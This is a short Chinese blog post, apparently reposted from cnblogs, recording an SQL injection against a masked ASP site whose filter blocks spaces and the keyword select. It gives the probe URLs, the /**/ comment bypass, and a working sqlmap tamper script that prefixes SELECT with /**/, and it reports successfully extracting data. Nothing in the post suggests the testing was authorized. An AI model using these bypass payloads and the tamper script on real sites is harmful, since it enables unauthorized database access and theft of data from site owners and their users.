记录一次sql注入绕过

目标:http://www.xxxxx.net/temp.asp?ID=10359

通过 and 1=1 and 1=2 测试发现存在拦截

首先想到 and 空格 = 可能存在触发规则

一般遇到这种情况 过滤 and 一般会考虑转换为 &&

空格过滤转换为 %0a 、+ 或者 /**/

= 转换为 like greatest between 这些在sqlmap 都有相应的tamper

这里经过测试发现就是过滤了 空格,转换为 /**/ 就不拦截了

由于不能进行union 注入 和报错 这里只能进行盲注

然后使用 sqlmap  space2comment 进行注入的时候  sqlmap出不了数据

分析过滤了什么关键字

提交 

http://www.xxxxx.net/temp.asp?ID=10359/**/and/**/1=(select 1) 返回 

初步判断过滤了select  

测试发现将select 转换为 /**/select  绕过过滤

 

所以要让sqlmap 能出数据就要将注入语句里面的 SELECT 全部转换为 /**/SELECT

#!/usr/bin/env python

def tamper(payload, **kwargs):
    retVal = payload
    if 'SELECT' in retVal:
        retVal = retVal.replace('SELECT','/**/SELECT')

    return retVal

命名为 select2select 放在sqlmap tamper 目录下面

成功注入出数据

去burp 查看语句

原文地址:https://www.cnblogs.com/depycode/p/7360528.html